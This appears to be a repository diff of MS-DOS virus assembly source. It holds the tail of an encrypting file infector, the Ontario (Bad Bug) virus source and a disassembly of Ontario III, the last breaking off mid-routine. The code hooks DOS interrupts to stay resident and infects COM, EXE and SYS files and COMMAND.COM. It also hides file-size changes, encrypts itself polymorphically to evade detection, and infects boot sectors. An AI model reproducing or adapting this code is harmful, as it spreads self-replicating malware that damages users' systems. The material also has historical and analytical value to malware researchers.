push cs ; ready to infect the file
pop ds ; as we must encrypt it
push cs ; FIRST when we infect the
pop es ; file. so we'll encrypt
mov byte ptr ds:[1ECh],al ; this copy we're making!
xor si,si ; and append that to the
mov di,offset ds:[224h] ; end of the file
push di ;
mov cx,200h ;
cld ;
rep movsb
mov si,offset ds:[228h] ;Now Encrpyt that copy of the
call encrypt_decrypt ;virus we just made...
pop dx
mov cx,200h ;Write Virus to file!
mov ah,40h ;BX=Handle, CX=Bytes
call int21 ;DX=pointer to write buffer
jc go4it4 ;Duh? Check for errors!
xor cx,cx
xor dx,dx ;Now move pointer to beginning
mov ax,4200h ;of file.
call int21
jc go4it4 ;Duh? Check for errors!
mov dx,208h ;Write to file!
mov cx,1Bh ;CX=Bytes
mov ah,40h ;DX=pointes to buffer
call int21 ;Bah, HumBug
go4it4:
mov dx,word ptr ds:[206h] ;Leave no tracks...
mov cx,word ptr ds:[204h] ; puts back File TIME
mov ax,5701h ; and DATE! on file...
call int21 ;
mov ah,3Eh ;
call int21 ;Bah, HumBug...
go4it5:
pop ax ;Get lost...
pop bx
pop cx
pop dx
pop ds
pop es
retn
infect endp
;----------------------------------------------------------------------;
; The Original Interrupt 21h handler ;
;----------------------------------------------------------------------;
int21 proc near
pushf ;Fake an Int Call...
call dword ptr cs:[200h] ;Orignal Int21h Handler
retn
int21 endp
db 'C:\COMMAND.COM'
db 00h, 84h
;---------------------------------------------------------------------;
; The Simple, But VERY Effective Encryption Routine ;
;---------------------------------------------------------------------;
decrypt proc near
pop si
push si
mov al,byte ptr cs:[1E8h][si];INCRYPTION VALUE TO CHANGE!
encrypt_decrypt: ;and Virus will be UNDETECTABLE
mov cx,1E8h ; LENGTH OF VIRII! Change this!
loop_me: not al ; if you modief the virus!
xor cs:[si],al ;
inc si ;
loop loop_me ;
;
retn
decrypt endp
virus ends
end start
;------------------------------------------------------------------------

View File

@ -0,0 +1,355 @@
comment *
Older version of Bad Bug, also known as Ontario virus.
--> Written by Death Angel <--
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
This virus first puts itself in memory, if not already. Infects the
C:\COMMAND.COM file, then infects other files as they are loaded.
It appends itself onto COM and EXE files.
Identification method:
======================
Checking if already in memory - INT 21/AH=FF, returns AX=0
Checking if COM is infected - 4th byte in file "V"
Checking if EXE is infected - Instruction Pointer is at 1
*
LOC_21 EQU 21H*4
REAL_SIZE equ offset EOF
CODE SEGMENT PARA PUBLIC 'CODE'
ASSUME CS:CODE, DS:CODE
ORG 0h
VBUG PROC FAR
nop
call MASTER_UNCODE
VB01:
call VB00
VB00:
pop bp
sub BP, +7
mov ax, -1
int 21h
or ah, ah
je GO_PROG
push ds
xor ax, ax
mov ds, ax ;BIOS data area
sub word ptr ds:[0413H], 2
lds bx, ds:[LOC_21]
mov word ptr cs:[BP]+offset OLD_21, bx
mov word ptr cs:[BP]+offset OLD_21+2, ds ;Get interrupt 21h vector
mov bx, es
dec bx
mov ds, bx
sub word ptr ds:[0003H], 2048/16 ;Paragraph size
mov ax, ds:[0012H] ;Get high memory segment
sub ax, 2048/16 ;Make room for ourself
mov ds:[0012H], ax ;Save it
mov es, ax
push cs
pop ds
mov si, bp ;Put 0000 into SI (if EXE..)
xor di, di
mov cx, REAL_SIZE+4 ;Plus OLD_21 information!
cld
rep movsb
mov ds, cx ;Put zero into DS
cli ;Disable maskable interrupts
mov word ptr ds:LOC_21, offset NEW_21
mov word ptr ds:LOC_21+2, ax
sti ;Enable interrupts
mov ax, 4BFFH ;Infect COMMAND.COM file!
int 21h
pop ds
push ds
pop es
GO_PROG: ;Check if EXE or COM program?
or bp, bp ;Are we an EXE file?
je RUN_EXE
RUN_COM: ;Run this infected .COM file
lea si, [BP]+offset RUN_PROG
mov di, 100H
push di
cld
movsw
movsw
DUMB_ROUTINE PROC NEAR
ret ;Do a local return
DUMB_ROUTINE ENDP
RUN_EXE:
mov ax, es ;Get PSP segment
add cs:word ptr RUN_PROG+2, ax ;Reallocate entry segment
db 0EAh ;JMP 0000:0000
RUN_PROG db 0B4H, 04CH
db 0CDH, 021H
NEW_21:
cmp ax, -1
jne NW00
inc ax ;Overflow to 0000
iret
NW00:
cmp ah, 4Bh ;Infect program being executed
jne RUN_OLD_21
cmp al, 03
je RUN_OLD_21
cmp al, -1
jne RO00
push cs
pop ds
mov dx, offset COMMAND_FILE
call INFECT_PROGRAM
IRET
RO00:
call INFECT_PROGRAM
RUN_OLD_21:
jmp dword ptr cs:OLD_21 ;Do original interrupt
INFECT_PROGRAM PROC NEAR
;
;When entering a normal Int 21/AH=4BH
;DS:DX -> Ptr to filename
;ES:BX -> Ptr to Parm Block
;AL -> 0 - Load/Run, 3 - Overlay
;
push es
push ds
push dx
push cx
push bx
push ax
; push si
; push di
mov ax, 4300H ;Get file attribute
call DO_21
jb NO_CLOSE
test cl, 00000001b
je VB04
and cl, 11111110b ;Turn off bit 0 (so you can write)
mov ax, 4301H ;Set file attribute
call DO_21
jb NO_CLOSE
VB04:
mov ax, 3D02h ;Open file for reading & writing
call DO_21
VB05:
JNB VB06
NO_CLOSE:
JMP END_21
VB06:
mov bx, ax ;Put new handle into BX
push cs
pop ds
mov ax, 5700H ;Get file date
call DO_21
mov ds:FILE_TIME, cx
mov ds:FILE_DATE, dx
mov dx, offset TMP_HEADER ;Load in COM/EXE ? file header
mov cx, 1BH ;Size of header (for EXE, it doesn't
;matter the extra bytes loaded for
;COM files.
mov ah, 3Fh ;Read from file
call DO_21
VB10:
jb CLOSE_END
cmp word ptr ds:SIGN, 'ZM' ;Is this an EXE file? (MZ)
je INFECT_EXE
INFECT_COM:
mov al, byte ptr SIGN+1
cmp al, byte ptr SIGN+3
je CLOSE_END
xor dx, dx
xor cx, cx
mov ax, 4202H ;Seek from EOF
call DO_21
VB15:
jb CLOSE_END
;Returns DX:AX number of bytes seeked (Size of file)
cmp ax, 0E000H ;Check file size
ja CLOSE_END
push ax
mov ax, ds:word ptr [SIGN+0]
mov word ptr ds:RUN_PROG+0, ax
mov ax, ds:word ptr [SIGN+2]
mov word ptr ds:RUN_PROG+2, ax
pop ax
sub ax, 3 ;Calculate jmp to End of file
mov byte ptr ds:SIGN+0, 0E9H ;JMP FAR
mov word ptr ds:SIGN+1, ax
mov byte ptr ds:SIGN+3, al ;Identification code
jmp FINISH_INFECT
;From here in, both EXE & COM files are infected the same
;The virus is written, seek to start of file, and re-write the Header
INFECT_EXE:
cmp word ptr ds:START_IP, 1
jne VB19
VB18:
CLOSE_END:
jmp END_INFECT
VB19:
mov ax, ds:[FILE_SIZE] ;Get file size
mov cx, 200H
mul cx ;Convert to bytes offset
;If filesize, if bigger then 64K, the overflow is put into DX
push ax
push dx
mov cl, 04h
ror dx, cl
shr ax, cl ;Convert to paragraphs
add ax, dx
sub ax, ds:SIZE_HEADER
PUSH AX
mov ax, ds:START_IP
mov word ptr ds:RUN_PROG, ax
mov ax, ds:START_CS
add ax, 0010H
mov word ptr ds:RUN_PROG+2, ax
POP AX
mov word ptr ds:START_CS, ax
mov word ptr ds:START_IP, +1
inc word ptr ds:FILE_SIZE
pop cx
pop dx
mov ax, 4200H ;Goto end of file
call DO_21
VB20:
jb VB25
FINISH_INFECT:
xor ds:byte ptr [DC00]+1, 08h ;Toggle NEG/NOT
xor ax, ax
mov ds, ax
mov AL, byte ptr ds:[46CH] ;Lowest byte of timer count
push cs
pop ds
push cs
pop es
mov ds:[CODE_BYTE], AL ;Put high byte of file seek
xor si, si
mov di, offset REAL_EOF
push di ;Push pointer
mov cx, offset EOF
cld
rep movsb
mov si, offset REAL_EOF+04H ;REAL_EOF+VB01
call DECODE
pop dx ;Restore pointer
mov cx, REAL_SIZE
mov ah, 40h
call DO_21
JB END_INFECT
xor cx, cx
xor dx, dx ;Distance to seek into file
mov ax, 4200h ;Seek from start of file
call DO_21
jb END_INFECT
mov dx, offset TMP_HEADER ;Ptr to New modified header
mov cx, 1BH ;Size of header
mov ah, 40h ;Write to file
call DO_21
VB25:
END_INFECT:
mov dx, ds:FILE_DATE
mov cx, ds:FILE_TIME
mov ax, 5701h ;Set file date/time
call DO_21
CLOSE_FILE:
mov ah, 3Eh ;Close the file
call DO_21
END_21:
; pop di
; pop si
pop ax
pop bx
pop cx
pop dx
pop ds
pop es
RET
DO_21:
pushf
call dword ptr cs:OLD_21
ret
COMMAND_FILE DB 'C:\COMMAND.COM',0
MASTER_DECODE:
CODE_BYTE DB 80H
MASTER_UNCODE:
POP SI
PUSH SI
MOV AL, BYTE PTR CS:[SI+CODE_BYTE-OFFSET VB01]
DECODE:
MOV CX, OFFSET MASTER_DECODE-OFFSET VB01
DC00:
NOT AL
XOR CS:BYTE PTR [SI], AL
INC SI
LOOP DC00
RET
INFECT_PROGRAM ENDP
EOF:
OLD_21 DD ?
FILE_TIME DW ?
FILE_DATE DW ?
TMP_HEADER:
SIGN DW ?
LEN_IMAGE_MOD DW ?
FILE_SIZE DW ? ;In 512-increments
NUM_REAL DW ?
SIZE_HEADER DW ?
MIN_ABOVE DW ?
MAX_ABOVE DW ?
STACK_SS DW ?
STACK_SP DW ?
CHECKSUM DW ?
START_IP DW ?
START_CS DW ?
DISPLAY_REAL DW ?
OVERLAY_NUM DW ?
REAL_EOF:
VBUG ENDP
CODE ENDS
END VBUG

View File

@ -0,0 +1,993 @@
.model tiny
.code
; Ontario III
; Disassembly by Dark Angel of Phalcon/Skism
; Assemble with TASM /m ONTARIO3.ASM
; Virus written by Death Angel of YAM
org 0
decrypt:
patch1:
mov di,offset endvirus ; usually: offset enddecrypt
patch2 = $ - 2
patch3 = $
mov cx,37E5h
patch4 = $ - 2
patch5:
db 82h, 0C5h, 0D0h ; add ch,0D0h
patch6 = $ - 1
patch7:
mov al,0Ah
patch8 = $ - 1
decrypt_loop:
add cs:[di],al
patch9 = $ - 1
patch10:
ror al,cl
patch11 = $ - 1
patch12:
inc di
patch13:
loop decrypt_loop
enddecrypt:
patch14:
db 89h, 0FBh ; mov bx,di
patch15 = $ - 1
sub bx,offset save4
xchg ax,cx
dec ax
cld
call saveorigvectors
db 0e9h ; jmp
SYSpatch dw 0 ; currently jmp to next line
int 21h ; installation check
or al,ah
jz restorefile
push ds
mov cx,bx
mov di,ds ; save current ds
mov ah,13h ; get BIOS int 13h handler
int 2Fh ; to ds:dx and es:bx
mov si,ds ; does function function?
cmp si,di
je skipit
push ds
push dx
mov ah,13h ; restore handler
int 2Fh
mov bx,cx ; but save its address too
pop word ptr cs:[bx+storeint13_1]
pop word ptr cs:[bx+storeint13_2]
skipit:
xor di,di
mov cx,es
dec cx
mov ds,cx ; get MCB of current program
sub word ptr [di+3],140h ; decrease size by 5K
mov ax,[di+12h] ; get high memory from PSP
sub ax,140h ; decrease size by 5K
mov [di+12h],ax ; replace it
mov es,ax ; es->high memory segment
sub ax,1000h
mov word ptr cs:[bx+patchsegment],ax
push cs
pop ds
mov si,bx
mov cx,offset save4
rep movsb
mov ds,cx
cli
mov word ptr ds:21h*4,offset int21 ; set int 21h handler
mov ds:21h*4+2,es ; to virus's
sti
mov ax,4BFFh ; infect COMSPEC
push bx
int 21h
pop bx
pop ds
push ds
pop es
restorefile:
lea si,[bx+offset save4]
mov di,100h
cmp bx,di
jb restoreEXE
push di
movsw
movsw
retn
restoreEXE:
mov ax,es ; get start segment
add ax,10h ; adjust for PSP
add cs:[si+2],ax ; relocate CS
add cs:[si+4],ax ; relocate SS
cli
mov sp,cs:[si+6] ; restore stack
mov ss,cs:[si+4]
sti
jmp dword ptr cs:[si]
int21instcheck:
inc ax
iret
int21:
cmp ax,0FFFFh ; installation check?
je int21instcheck
cmp ah,4Bh ; execute?
je execute
cmp ah,11h ; FCB find first?
je findfirstnext
cmp ah,12h ; FCB find next?
je findfirstnext
cmp ax,3D00h ; open file read only?
jne int21exit
call handleopen
int21exit:
db 0EAh ; jmp far ptr
oldint21 dd 0
findfirstnext: ; standard stealth routine
push bp
mov bp,sp
cmp word ptr [bp+4],1234h
patchsegment = $ - 2
pop bp
jb int21exit
call callint21 ; do findfirst/next
call pushall
mov ah,2Fh ; Get DTA
call callint21
cmp byte ptr es:[bx],0FFh ; extended FCB?
je findfirstnextnotextendedFCB
sub bx,7 ; convert to standard
findfirstnextnotextendedFCB:
mov al,es:[bx+1Eh] ; get seconds counter
and al,1Fh ; check if 62 seconds
cmp al,1Fh ; (infection marker)
jne findfirstnextexit ; exit if not
mov dx,es:[bx+26h] ; get file size
mov ax,es:[bx+24h]
sub ax,viruslength ; decrease by virus
sbb dx,0 ; size
or dx,dx
jc findfirstnextexit
mov es:[bx+26h],dx ; replace file size
mov es:[bx+24h],ax ; with "stealthed" one
findfirstnextexit:
call popall
iret
execute:
mov byte ptr cs:infectSYS,0
cmp al,1 ; load/don't execute
je load_noexecute
cmp al,0FFh ; called by virus
je infectCOMSPEC
call infectDSDX
jmp short int21exit
infectCOMMANDCOM:
mov byte ptr cs:infectSYS,0
push dx
push ds
mov dx,offset command_com
push cs
pop ds
mov byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM
call infectDSDX
pop ds
pop dx
iret
infectCOMSPEC:
mov ah,51h ; Get current PSP
call callint21
mov es,bx
mov ds,es:[2Ch] ; environment block
xor si,si
push cs
pop es
infectCOMSPECfindcomspec:
mov di,offset comspec ; is 'COMSPEC=' the first
mov cx,4 ; entry in environment?
repe cmpsw ; (should be)
jcxz infectCOMSPECnoenvironment ; otherwise, quit
infectCOMSPECfindend:
lodsb ; search for end of string
or al,al
jnz infectCOMSPECfindend
cmp byte ptr [si],0 ; found it?
jne infectCOMSPECfindcomspec; nope, try again
jmp short infectCOMMANDCOM ; otherwise, infect
infectCOMSPECnoenvironment:
mov dx,si
mov byte ptr cs:infCOMMAND,0FFh ; infecting COMMAND.COM
call infectDSDX ; but are we really? Maybe
iret ; it's 4DOS. This is a bug.
load_noexecute:
push es ; save parameter block
push bx
call callint21 ; prechain
pop bx
pop es
call pushall
jnc load_noexecute_ok ; continue if no error
jmp load_noexecute_exit
load_noexecute_ok:
xor cx,cx
lds si,dword ptr es:[bx+12h]; get entry point on return
push ds
push si
mov di,100h
cmp si,di
jl loading_EXE
ja load_noexecute_quit
; debugger active
lodsb
cmp al,0E9h ; check if infected
jne load_noexecute_quit
lodsw
push ax ; save jmp location
lodsb
cmp al,'O' ; check for infection marker
pop si ; get jmp location
jnz load_noexecute_quit
add si,103h ; convert to file offset
inc cx
inc cx
pop ax
push si
push ds
pop es
jmp short check_infection
loading_EXE:
lea di,[bx+0Eh] ; check SS:SP on return
cmp word ptr es:[di],9FFh ; infected?
jne load_noexecute_quit
check_infection:
lodsb
cmp al,0BBh ; possibility 1
je infected_checked1
cmp al,0BEh ; possibility 2
je infected_checked1
cmp al,0BFh ; possibility 3
jne load_noexecute_quit
infected_checked1:
lodsw ; get starting offset
push ax ; to decrypt
lodsb ; get next byte
cmp al,0B9h ; check for infection
lodsw
pop si ; offset to decrypt
jnz load_noexecute_quit
cmp ah,7 ; check if infected
je infected_checked2
cmp al,0E5h ; ditto
jne load_noexecute_quit
infected_checked2:
add si,save4 - enddecrypt
jcxz disinfectEXE
rep movsw
jmp short finish_disinfection
disinfectEXE:
mov ah,51h ; Get current PSP
call callint21
add bx,10h ; go to file starting CS
mov ax,[si+6]
dec ax
dec ax
stosw
mov ax,[si+4]
add ax,bx
stosw
movsw
lodsw
add ax,bx
stosw
finish_disinfection:
pop di
pop es
xchg ax,cx
mov cx,viruslength
rep stosb
jmp short load_noexecute_exit
load_noexecute_quit:
pop ax
pop ax
load_noexecute_exit:
call popall
retf 2
handleopen:
call pushall
mov si,dx ; find extension of
handleopenscanloop: ; ASCIIZ string
lodsb
or al,al ; found end of screen?
jz handleopenexit ; yup, no extension -- exit
cmp al,'.' ; extension found?
jne handleopenscanloop
mov di,offset validextensions - 3
push cs
pop es
mov cx,4
nop
scanvalidextension:
push cx
push si
mov cl,3
add di,cx
push di
check_extension:
lodsb
and al,5Fh ; Capitalise
cmp al,es:[di] ; do they compare ok?
jne extension_no_match ; nope, try next one
inc di
loop check_extension
cmp al,'S' ; SYS file?
jne opennotSYS
mov byte ptr cs:infectSYS,0FFh ; infecting SYS file
opennotSYS:
call infectDSDX
add sp,6
jmp short handleopenexit
extension_no_match:
pop di
pop si
pop cx
loop scanvalidextension
handleopenexit:
call popall
retn
infectDSDX:
call pushall
call replaceint13and24
push dx
push ds
mov ax,4300h ; get attributes
call callint21
push cx
pushf
jc go_restoreattribs
push cx
and cl,1 ; check if read only
cmp cl,1
jne infectDSDXnoclearattributes
xor cx,cx ; clear if so
mov ax,4301h
call callint21
infectDSDXnoclearattributes:
pop cx
and cl,4
cmp cl,4
je go_restoreattribs
mov ax,3D02h ; open file read/write
call callint21
jnc infectDSDXopenOK ; continue if no error
go_restoreattribs:
jmp infectDSDXrestoreattributes
infectDSDXopenOK:
xchg ax,bx ; handle to bx
push cs
push cs
pop ds
pop es
mov word ptr ds:SYSpatch,0
mov ax,5700h ; save file time/date
call callint21
push dx
push cx
and cl,1Fh ; check if infected
cmp cl,1Fh ; (seconds == 62)
je infectDSDXerror
mov dx,offset readbuffer ; read header from
mov cx,1Ch ; potential carrier
mov ah,3Fh ; file to the
call callint21 ; buffer
jnc infectDSDXreadOK ; continue if no error
infectDSDXerror:
stc ; mark error
jmp infectDSDXclose ; and exit
infectDSDXreadOK:
cmp ax,cx ; read 1ch bytes?
jne infectDSDXerror ; exit if not
xor dx,dx
mov cx,dx
mov ax,4202h ; go to end of file
call callint21
or dx,dx
jnz infectDSDXfilelargeenough
cmp ax,0A01h ; check if too small
jb infectDSDXerror
infectDSDXfilelargeenough:
cmp dl,5
ja infectDSDXerror
cmp word ptr ds:readbuffer,'ZM' ; EXE?
je infectDSDXskipcheck
cmp word ptr ds:readbuffer,'MZ' ; EXE?
infectDSDXskipcheck:
je infectDSDXcheckEXE
cmp byte ptr ds:infectSYS,0FFh ; infecting SYS file?
jne infectDSDXcheckCOM
cmp word ptr ds:readbuffer,0FFFFh ; check if SYS
jne infectDSDXerror ; file
cmp word ptr ds:readbuffer+2,0FFFFh
isanoverlay:
jne infectDSDXerror
or dx,dx
jnz infectDSDXerror
push ax ; save file size
mov di,offset save4
mov ax,5657h ; push di, push si
stosw
mov ax,0E953h ; push bx, jmp decrypt
stosw
mov ax,offset decrypt - (offset save4 + 6)
stosw
mov ax,word ptr ds:readbuffer+6 ; get strategy start point
stosw
pop ax ; get file size
push ax
add ax,offset save4
mov word ptr ds:readbuffer+6,ax
mov word ptr ds:SYSpatch,offset strategy-(offset SYSpatch + 2)
mov byte ptr ds:decrypt_loop,36h ; replace with SS:
pop ax
add ax,offset enddecrypt
jmp short go_infectDSDXcontinue
infectDSDXcheckCOM:
cmp byte ptr ds:readbuffer+3,'O'; check if already infected
jmp_infectDSDXerror:
je infectDSDXerror
cmp byte ptr ds:infCOMMAND,0; infecting COMMAND.COM?
je dontdoslackspace
sub ax,viruslength ; infect slack space of
xchg ax,dx ; command.com
xor cx,cx
mov ax,4200h
call callint21
dontdoslackspace:
mov si,offset readbuffer
mov di,offset save4
movsw
movsw
sub ax,3 ; convert size->jmp dest
mov byte ptr ds:readbuffer,0E9h ; encode JMP
mov word ptr ds:readbuffer+1,ax ; and destination
mov byte ptr ds:readbuffer+3,'O' ; mark infected
add ax,116h
go_infectDSDXcontinue:
jmp short infectDSDXcontinue
infectDSDXcheckEXE:
cmp word ptr ds:readbuffer+10h,0A01h ; already infected?
je jmp_infectDSDXerror
cmp word ptr ds:readbuffer+1Ah,0
jne isanoverlay ; exit if it's an overlay
push dx
push ax
mov cl,4
ror dx,cl
shr ax,cl
add ax,dx ; ax:dx = file size
sub ax,word ptr ds:readbuffer+8 ; subtract header size
mov si,offset readbuffer+14h
mov di,offset origCSIP
movsw ; save initial CS:IP
movsw
mov si,offset readbuffer+0Eh
movsw ; save initial SS:SP
movsw
mov word ptr ds:readbuffer+16h,ax ; set initial CS
mov word ptr ds:readbuffer+0Eh,ax ; set initial SS
mov word ptr ds:readbuffer+10h,0A01h ; set initial SP
pop ax
pop dx
push ax
add ax,0A01h
; adc dx,0 works just as well
jnc infectEXEnocarry
inc dx
infectEXEnocarry:
mov cx,200h ; take image size
div cx
; The next line is not entirely corrrect. The image size
; div 512 is rounded up. Therefore, DOS will find this number
; to be off by 512d bytes
mov word ptr ds:readbuffer+4,ax ; image size div 512
mov word ptr ds:readbuffer+2,dx ; image size mod 512
pop ax
and ax,0Fh
mov word ptr ds:readbuffer+14h,ax ; set initial IP
add ax,offset enddecrypt
infectDSDXcontinue:
mov word ptr ds:patch2,ax ; patch start area
push bx ; save file handle
xor byte ptr ds:decrypt_loop,18h ; swap SS: & CS:
call encrypt ; encrypt virus to buffer
pop bx ; restore file handle
mov ah,40h ; Concatenate encrypted
call callint21 ; virus
jc infectDSDXclose ; exit on error
xor dx,dx
mov cx,dx
mov ax,4200h ; go to start of file
call callint21
jc infectDSDXclose
mov dx,offset readbuffer
mov cx,1Ch
mov ah,40h ; Write new header
call callint21
infectDSDXclose:
pop cx
pop dx
jc infectDSDXnoaltertime
cmp byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM?
je infectDSDXnoaltertime
or cl,1Fh ; set time to 62 seconds
infectDSDXnoaltertime:
mov ax,5701h ; restore file time/date
call callint21
mov ah,3Eh ; Close file
call callint21
infectDSDXrestoreattributes:
mov byte ptr cs:infCOMMAND,0
mov byte ptr cs:infectSYS,0
popf
pop cx
pop ds
pop dx
jc infectDSDXexit
mov ax,4301h ; restore file attributes
call callint21
infectDSDXexit:
call restoreint13and24
call popall
retn
pushall:
push bp
mov bp,sp
push bx
push cx
push dx
push si
push di
push ds
push es
pushf
xchg ax,[bp+2]
push ax
mov ax,[bp+2]
retn
popall:
pop ax
xchg ax,[bp+2]
popf
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop bp
retn
replaceint13and24:
push ds
xor ax,ax
mov ds,ax
mov si,13h*4
lodsw
mov word ptr cs:origint13_1,ax
lodsw
mov word ptr cs:origint13_2,ax
mov si,24h*4
lodsw
mov word ptr cs:origint24_1,ax
lodsw
mov word ptr cs:origint24_2,ax
mov word ptr ds:13h*4,1234h
storeint13_1 = $ - 2
mov word ptr ds:13h*4+2,1234h
storeint13_2 = $ - 2
mov word ptr ds:24h*4,offset int24 ; replace int 24 handler
mov ds:24h*4+2,cs
pop ds
retn
restoreint13and24:
xor ax,ax
mov ds,ax
mov word ptr ds:13h*4,1234h
origint13_1 = $ - 2
mov word ptr ds:13h*4+2,1234h
origint13_2 = $ - 2
mov word ptr ds:24h*4,1234h
origint24_1 = $ - 2
mov word ptr ds:24h*4+2,1234h
origint24_2 = $ - 2
retn
int24:
xor al,al
iret
encrypt:
mov di,offset patch4
mov si,di
mov word ptr [si],offset save4 - offset enddecrypt
xor bx,bx
call random
jz encrypt1
add bl,4
inc di
encrypt1:
call random
in al,40h ; get random #
mov bh,al
jz encrypt2
add [di],al ; alter amount to encrypt
add bl,28h
jmp short encrypt3
encrypt2:
sub [di],al ; alter amount to encrypt
encrypt3:
add bl,0C1h
mov [si+3],bx
call random
jz encrypt4
xor byte ptr [si+2],2 ; flip betwen add/sub
encrypt4:
in ax,40h ; get random number != 0
or ax,ax
jz encrypt4
mov bx,3 ; first choose one of
xor dx,dx ; three possible registers
div bx
xchg ax,bx
inc ax ; ax = 4
mul dx ; convert to offset in
xchg ax,bx ; table
lea si,[bx+offset table1]
lodsb
mov byte ptr ds:patch1,al
lodsb
mov byte ptr ds:patch9,al
lodsb
mov byte ptr ds:patch12,al
lodsb
mov byte ptr ds:patch15,al
call random
jz encrypt5
xor byte ptr ds:patch13,2 ; loop/loopnz
encrypt5:
in ax,40h ; get random number
mov byte ptr ds:patch8,ah
and ax,0Fh
xchg ax,bx
shl bx,1
mov ax,[bx+offset table2]
mov word ptr ds:patch10,ax
xor si,si
mov di,offset encryptbuffer ; copy virus to
mov cx,endvirus - decrypt ; temporary buffer
push cx ; for encryption
cld
rep movsb
mov bx,offset enddecrypt
push word ptr [bx] ; save it
mov byte ptr [bx],0C3h ; put retn in its place
push bx
xor byte ptr [bx-7],28h ; sub/add
push word ptr ds:decrypt_loop
mov byte ptr [bx-8],2Eh ; CS:
mov dx,offset encryptbuffer
add bx,dx
mov word ptr ds:patch2,bx
call decrypt
pop word ptr ds:decrypt_loop
pop bx
pop word ptr [bx]
pop cx
retn
random: ; 1/2 chance of zero flag set
in al,40h
and al,1
cmp al,1
retn
saveorigvectors:
push ds
push ax
xor ax,ax
mov ds,ax
mov ax,ds:13h*4
mov word ptr cs:[bx+storeint13_1],ax
mov ax,ds:13h*4+2
mov word ptr cs:[bx+storeint13_2],ax
mov ax,ds:21h*4
mov word ptr cs:[bx+offset oldint21],ax
mov ax,ds:21h*4+2
mov word ptr cs:[bx+offset oldint21+2],ax
pop ax
pop ds
retn
strategy:
mov word ptr cs:[bx+doffset],bx ; save delta offset
pop bx
pop di
pop si
call pushall
push cs
pop ds
mov bx,1234h ; restore delta offset
doffset = $ - 2
db 8bh, 87h ; mov ax,ds:[save4+6]
dw offset save4 + 6 ; get old strategy entry point
mov word ptr ds:[6],ax ; and restore to file header
int 12h ; Get memory size in K
sub ax,5 ; decrease by 5 K
mov cl,6 ; convert to paragraphs
shl ax,cl
mov es,ax
mov word ptr ds:[bx+himemsegment],ax
cmp byte ptr es:[3],0B9h ; check if already installed
je strategyexit
mov si,bx ; copy to high memory
xor di,di
mov cx,viruslength
rep movsb
pushf
db 09Ah ; call far ptr
dw infectCOMMANDCOM
himemsegment dw 0
strategyexit:
call popall
jmp word ptr cs:[6] ; go to original strategy
table1 db 0BEh, 04h, 46h,0F3h ; si
db 0BFh, 05h, 47h,0FBh ; di
db 0BBh, 07h, 43h,0DBh ; bx
table2: inc al
dec al
inc ax
inc ax
dec ax
dec ax
add al,cl
sub al,cl
xor al,cl
xor al,ch
not al
neg al
ror al,1
rol al,1
ror al,cl
rol al,cl
nop
nop
add al,ch
comspec db 'COMSPEC='
command_com db '\COMMAND.COM',0
validextensions db 'COMEXEOVLSYS'
bootsector: ; offset 600h in the virus
jmp short bootsectorentry
nop
bootparms db 3Bh dup (0)
bootsectorentry:
xor ax,ax
mov ds,ax
cli
mov ss,ax
mov sp,7C00h
sti
mov ax,ds:13h*4 ; get int 13h handler
mov word ptr ds:[7C00h+oldint13-bootsector],ax
mov ax,ds:13h*4+2 ; and save it
mov word ptr ds:[7C00h+oldint13+2-bootsector],ax
mov ax,ds:[413h] ; get total memory
sub ax,2 ; reduce by 2K
mov ds:[413h],ax ; replace memory size
mov cl,6
shl ax,cl ; convert to paragraphs
sub ax,60h ; go to boot block start
mov es,ax
mov si,sp
mov di,offset bootsector
mov cx,100h
rep movsw
mov dx,offset highentry
push es
push dx
retf
highentry:
xor ax,ax ; reset disk
and dl,al
int 13h
push ds
push es
pop ds
pop es
mov bx,sp ; read to 0:7C00h
mov dx,drivehead ; find where original boot
mov cx,sectortrack ; block stored and then
mov ax,201h ; read original boot
int 13h ; sector
jc $ ; halt on error
xor ax,ax ; else chain to original
mov ds,ax ; boot sector
mov word ptr ds:13h*4,offset int13
mov ds:13h*4+2,cs ; replace int 13h handler
push es
push bx
retf
int13:
push bp
mov bp,sp
push ds
push es
push si
push di
push dx
push cx
push bx
push ax
pushf
xor bx,bx
mov ds,bx
test byte ptr ds:[43Fh],1 ; A: spinning?
jnz exitint13 ; exit if so
or dl,dl ; default drive?
jnz exitint13 ; exit if not
cmp ah,2 ; read/write/verify?
jb exitint13
cmp ah,4
jbe trapint13
exitint13:
popf
pop ax
pop bx
pop cx
pop dx
pop di
pop si
pop es
pop ds
pop bp
jmp dword ptr cs:oldint13 ; chain to original handler
trapint13:
cld
push cs
push cs
pop es
pop ds
xor cx,cx
mov dx,cx
inc cx
mov bx,offset endvirus ; read boot block to
mov ax,201h ; buffer at endvirus
call callint13
jnc int13readOK
int13exit:
jmp short exitint13
int13readOK:
cmp word ptr [bx+15h],501Eh ; push ds, push ax?
jne int13skip
cmp word ptr [bx+35h],0FF2Eh; jmp cs: ?
jne int13skip
cmp word ptr [bx+70h],7505h ; add ax,XX75 ?
jne int13skip
mov dh,1
mov cl,3
mov ax,201h
call callint13
xor dh,dh
mov cl,1
mov ax,301h
call callint13
int13skip:
cmp word ptr ds:[offset endvirus-bootsector+YAM],'Y*'
je int13exit ; don't infect self
cmp word ptr ds:[offset endvirus+0Bh],200h
jne int13exit ; infect only 512 bytes per sector
cmp byte ptr ds:[offset endvirus+0Dh],2
jne int13exit ; only 2 reserved sectors
cmp word ptr ds:[offset endvirus+1Ah],2
ja int13exit ; only 2 sec/track
xor dx,dx ; calculate new location of boot block
mov ax,word ptr ds:[offset endvirus+13h] ; total sec
mov bx,word ptr ds:[offset endvirus+1Ah] ; sec/track
mov cx,bx
div bx ; # track
xor dx,dx
mov bx,word ptr ds:[offset endvirus+18h] ; sec/FAT
div bx
sub word ptr ds:[offset endvirus+13h],cx ; total sec
dec ax
mov byte ptr sectortrack+1,al
mov ax,word ptr ds:[offset endvirus+18h] ; sec/FAT
mov byte ptr sectortrack,al
mov ax,word ptr ds:[offset endvirus+1Ah] ; sec/track
dec ax
mov byte ptr drivehead+1,al
mov byte ptr drivehead,0
mov dx,drivehead ; move original boot block
mov cx,sectortrack ; to end of disk
mov bx,offset endvirus
mov ax,301h
call callint13
jc go_exitint13
mov si,offset endvirus+3 ; copy parameters so
mov di,offset bootparms ; no one notices boot
mov cx,bootsectorentry - bootparms ; block is changed
rep movsb
xor cx,cx
mov dx,cx
inc cx
mov bx,offset bootsector ; copy virus boot block
mov ax,301h
call callint13
